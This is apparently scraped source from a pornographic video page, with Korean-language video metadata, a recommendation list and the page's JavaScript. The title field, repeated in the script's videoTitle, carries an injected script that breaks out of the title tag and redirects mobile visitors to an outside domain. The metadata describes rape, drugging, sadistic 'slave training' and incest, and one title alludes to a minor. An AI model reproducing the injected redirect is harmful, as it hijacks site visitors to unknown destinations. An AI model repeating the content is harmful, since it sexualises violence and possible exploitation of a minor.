</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀는 세면대에서 강렬하게 박히고 강간당하고 있습니다.</script><title>주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀를 세면대로 데려와 천천히 훈련시켜 주세요.</title></script>
주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀는 세면대에서 강렬하게 박히고 강간당하고 있습니다.주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀를 세면대로 데려와 천천히 훈련시켜 주세요.","site_id":0,"video_url":"https://lsbbf10.com/20260706/bVNd1h7W/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMzZmZWVmNmE1ODNjMmE0YzkxOTQ4YmUyZmNjMTMzZjUuanBn.cache","duration":"13:07","actor":[],"lastmod":1783766805,"rating":"6.0","view_count":206,"description":"내 총 진짜 길다, 맙소사! 최근에 다리 예쁜 여대생이랑 만났어. 호텔로 데려가서 천천히 부드럽게 가르쳐줘야지. 세면대 위에서 다리를 흔들고 격렬하게 섹스하는 거야.","tag":["위대한 신","내 거","내 총은 너무 길다","최신","가벼운 섹스","섹스 데이트","아름다운 다리","후진","상위","다시 가져오세요","호텔로 돌아가기","호텔","느리게","훈련","말뚝 박기","폭발적인 섹스"],"site_url":"354902","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产精品"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMzZmZWVmNmE1ODNjMmE0YzkxOTQ4YmUyZmNjMTMzZjUuanBn.cache","maker":"","table_name":"videos_laosebizy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"大神我的枪好长最新约炮约操美腿大三学姐带回酒店慢慢调教洗漱台上抗腿打桩爆操","s_keywords":"大神我的枪好长最新约炮约操美腿大三学姐带回酒店慢慢调教洗漱台上抗腿打桩爆操","s_description":"주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀는 세면대에서 강렬하게 박히고 강간당하고 있습니다.주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀를 세면대로 데려와 천천히 훈련시켜 주세요.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDIvMDM4MDU1MjFkODg0MGI3OTA5NmUyMjE2YTI1OTYzOGQuanBn.cache","vod_id":19098487,"title":"태국-중국 혼혈 모델이자 외국 걸그룹 모델이 성적 매력을 뽐내다 논란에 휩싸였다.","lastmod":"2025-10-01","duration":"25:41","url":"/play/19098487.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTcvMTE5OTkwYzY4NjM1YzYyNjZmMmIxNjI5YmJjMzE4YzEuanBn.cache","vod_id":19101164,"title":"더 이상 못 참겠어! 내 조카딸 스에히로 준이 날 가지고 놀고, 조롱하고, 유혹하기까지 해! (NACR868)","lastmod":"2025-10-16","duration":"02:07:20","url":"/play/19101164.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDg4NTEyZWYxZWFjZDI3M2QxNTZmNWZlN2FhZTZkODUuanBn.cache","vod_id":19131942,"title":"드디어 호텔에 도착했는데, 가는 길에 작은 문제가 있었어요. 원래 예약했던 호텔에서 미성년자라는 이유로 투숙을 허락하지 않아서, 어쩔 수 없이 다른 호텔로 옮겨야 했죠. 정말 어이가 없었어요.","lastmod":"2026-03-20","duration":"23:02","url":"/play/19131942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvMTM3YmVlNWM1NDIxNGM0OTk2YjFjNDBhM2MxZGM3ZDIuanBn.cache","vod_id":19113259,"title":"키가 크고 검은 스타킹을 신은 긴 다리를 가진 간호사가 호텔에서 부유한 고객에게 성폭행을 당하고 정액을 뒤집어썼는데, 고객은 그 느낌이 환상적이었다고 말했다.","lastmod":"2025-12-21","duration":"10:46","url":"/play/19113259.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTI0MWE2MzIzNzljNDJjMzkzZTRjNWVlYTEwYzZkOGEuanBn.cache","vod_id":19053345,"title":"박신혜가 유혹에 넘어가 관계를 맺다","lastmod":"2025-03-29","duration":"11:23","url":"/play/19053345.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjYwZGNiZjAyOGYzZjhiMmJmMmM5NzJmMjJjN2MzZjEuanBn.cache","vod_id":18976023,"title":"BIJN-171 간사이의 한 기혼 여성이 약물에 취해 오르가즘을 느끼고, 난잡한 성행위 훈련을 받으며, 여성의 각성을 경험하고, 사랑의 체액이 넘쳐흐르며, 무분별한 성관계를 갖는 이야기 - 유키 나나미","lastmod":"2025-03-28","duration":"02:05:21","url":"/play/18976023.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDBlYmJkODEwNmUxY2I4ZWI3YTQ5ODAxY2UxNjEwZDAuanBn.cache","vod_id":19135878,"title":"2000년대생 미녀의 아름다운 몸매, 호텔 로비에서의 고화질 섹스 장면, 열정적이고 강렬한 섹스, 콘돔 미사용, 질내 사정.","lastmod":"2026-04-09","duration":"43:31","url":"/play/19135878.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTYvMzg3NGFkMGFmNjZkYjM4ZDg3YWJkZDJkZjVjMGQ4OTIuanBn.cache","vod_id":19074105,"title":"초신 샤오얼의 성노예 훈련 모음집","lastmod":"2025-05-16","duration":"20:49","url":"/play/19074105.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvOWZiNGY5NDhhNDQ5OGU5NDZhNTYwYjFjZDlmOTY2NzAuanBn.cache","vod_id":19109148,"title":"[최근 유출] 야타이 여성 매니저 스캔들 - 유혹 스캔들","lastmod":"2025-12-13","duration":"26:19","url":"/play/19109148.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzgxMjg1NjdjNmIwZTA4OTdkYTY4MTEzNThkNjlkYTIuanBn.cache","vod_id":19124092,"title":"겉으로는 내성적으로 보이지만 실제로는 관능적인 청두 출신의 유부녀가 전국 각지에서 온 강력한 독신 남성들과의 집단 성행위에서 노출되고 훈련받으며, 솔직하고 자극적인 대화 속에서 모든 것을 경험하게 된다.","lastmod":"2026-02-12","duration":"21:40","url":"/play/19124092.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTQvY2ZjNmJjM2Y2ZTNjY2Q0MzAyYWI1YTY3MTM0NzNkM2YuanBn.cache","vod_id":19149377,"title":"여성 노예에 대한 극도로 가학적인 훈련: 항문에 소변을 주입하고, 막대사탕을 삽입하여 터뜨린 다음, 그 소변을 스스로 마시게 하는 행위.","lastmod":"2026-06-13","duration":"36:51","url":"/play/19149377.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjc5ZGMxODYwYzg2NWExMWZjNGZiMDQxMWE0MmZjMzAuanBn.cache","vod_id":19012588,"title":"식사 자리에서 매력적인 여자를 꼬셔서 호텔로 데려가 30분 동안 섹스를 했어요.","lastmod":"2025-03-28","duration":"16:15","url":"/play/19012588.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzcyZjgwNTIzNjNhZjJkOTBiNGY4NzU3YWMxNWQ0ZWYuanBn.cache","vod_id":19021107,"title":"잘생긴 한 젊은이가 중학교 동창을 우연히 만나고는 기발한 아이디어를 떠올렸다. 바로 호텔에서 누군가와 하룻밤을 보내는 것이었다!","lastmod":"2025-03-29","duration":"01:27:24","url":"/play/19021107.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjIyYWYxYjBiMTczZDkyOTQzNjk5YzU5MjIyYjIxZDMuanBn.cache","vod_id":19025738,"title":"아내가 입원했을 때, 처제와 저는 메이 호조 스타일로 이렇게 했어요!","lastmod":"2025-03-29","duration":"01:38:17","url":"/play/19025738.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTYvN2FhMDUwMjJlNDM1NDliMDgzMzJjZTZiZTc5NzQ1NWYuanBn.cache","vod_id":19069891,"title":"의류업계에 종사하는 아름다운 여성이 자신이 직접 디자인한 속옷을 입은 채 거대한 페니스로 잔인하게 성폭행당하고 있다. (히나치 윤 259LUXU-1273-C)","lastmod":"2025-04-16","duration":"01:13:19","url":"/play/19069891.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYTIxY2U4OTllODcwNzcxMmI2MjJiYTc4ZTM0OGYxYTMuanBn.cache","vod_id":19109878,"title":"극도로 대조적인 신음 소리, 음란하고 참을 수 없는 사정, 사정 장면, 1인칭 시점, 격렬한 섹스","lastmod":"2025-12-13","duration":"08:43","url":"/play/19109878.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZGJiMTQ1Y2YyNjAzNDZiZDdmMzA2Mjc4YWFkN2I1MDIuanBn.cache","vod_id":19153646,"title":"\"입학시험 때문에 열심히 공부해야 하니까, 야한 얘기 좀 해 주세요...\" 평소 진지한 학생이 과외 선생님을 유혹한다... (아마추어 39)","lastmod":"2026-07-05","duration":"05:00:24","url":"/play/19153646.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzYxNzI3ZWVmNmQwYTdhZTc1NjViYjFhYmRkNzAxMzQuanBn.cache","vod_id":19137021,"title":"가는 허리와 D컵 가슴을 가진 여성과의 호텔 하룻밤 관계는 임신과 성관계로 이어졌다.","lastmod":"2026-04-15","duration":"36:52","url":"/play/19137021.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTUvZmZiNjczZmRmOTIwMmYyMmY2MDc5ODc5MzJhNjg3MTkuanBn.cache","vod_id":19069699,"title":"엉덩이에 가려진 끈팬티: 엉덩이가 엄청나게 큰 이웃집 아내의 옷차림 실수와 유혹. (DVDMS-907-C)","lastmod":"2025-04-15","duration":"02:17:33","url":"/play/19069699.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWQzMWM2Y2M2Y2ZkNWQ1M2JlMDM5YWNmMWVjMjU3ODYuanBn.cache","vod_id":19020365,"title":"나는 아주 아름다운 여자와 데이트를 위해 호텔 방에 갔고, 그녀에게 오럴 섹스를 해준 다음, 창가에 기대어 그녀의 부드러운 질에 삽입 섹스를 했다!","lastmod":"2025-03-29","duration":"13:22","url":"/play/19020365.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWQyZWNlNDFkZTJjYmEwNTk1ZGUyMmVhMmRiMDg5YWQuanBn.cache","vod_id":19054419,"title":"섹시하고 검은 스타킹을 신은, 상반된 성격을 지닌 가정부의 주방 훈련: 열정적인 섹스...","lastmod":"2025-03-29","duration":"16:26","url":"/play/19054419.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWY2ZjQ1ZGM0OTY1ZGI2Y2M4NzA3NmM3YzBjMWQ2ZDguanBn.cache","vod_id":18991806,"title":"가슴이 납작하고 순종적인 그 소녀는 그렇게 유순하고 복종적이 되도록 훈련받았다.","lastmod":"2025-03-28","duration":"09:59","url":"/play/18991806.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGUyMTEwMzQzYjdkZGI4ZTEwODVjNmRhNmYzZmY3NGMuanBn.cache","vod_id":19013738,"title":"91 파라다이스 시리즈, 11월 17일 최신 하이라이트 - 1997년 순수하고 천진난만한 모델의 완벽한 데이트 - 1080P 풀버전","lastmod":"2025-03-28","duration":"01:37:37","url":"/play/19013738.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODI0MTE2YmRjYTJjNDFkYjYzYjBmMzU2YWZhMWFlNzQuanBn.cache","vod_id":19031725,"title":"제 하얀 피부는 여자가 위에 올라타는 자세 덕분이에요. 여자가 남자 위에 올라타면 완전히 다른 사람이 되거든요. 극도로 날씬한 여대생 신인 마시로 사라가 AV 데뷔를 합니다.","lastmod":"2025-03-29","duration":"02:29:42","url":"/play/19031725.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀는 세면대에서 강렬하게 박히고 강간당하고 있습니다.</script><title>주인님, 제 총이 너무 길어요! 최근에 다리가 예쁜 여대생과 하룻밤 관계를 가졌습니다. 그녀를 호텔로 데려와 천천히 훈련시켜 주세요. 그녀를 세면대로 데려와 천천히 훈련시켜 주세요.</title></script>',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}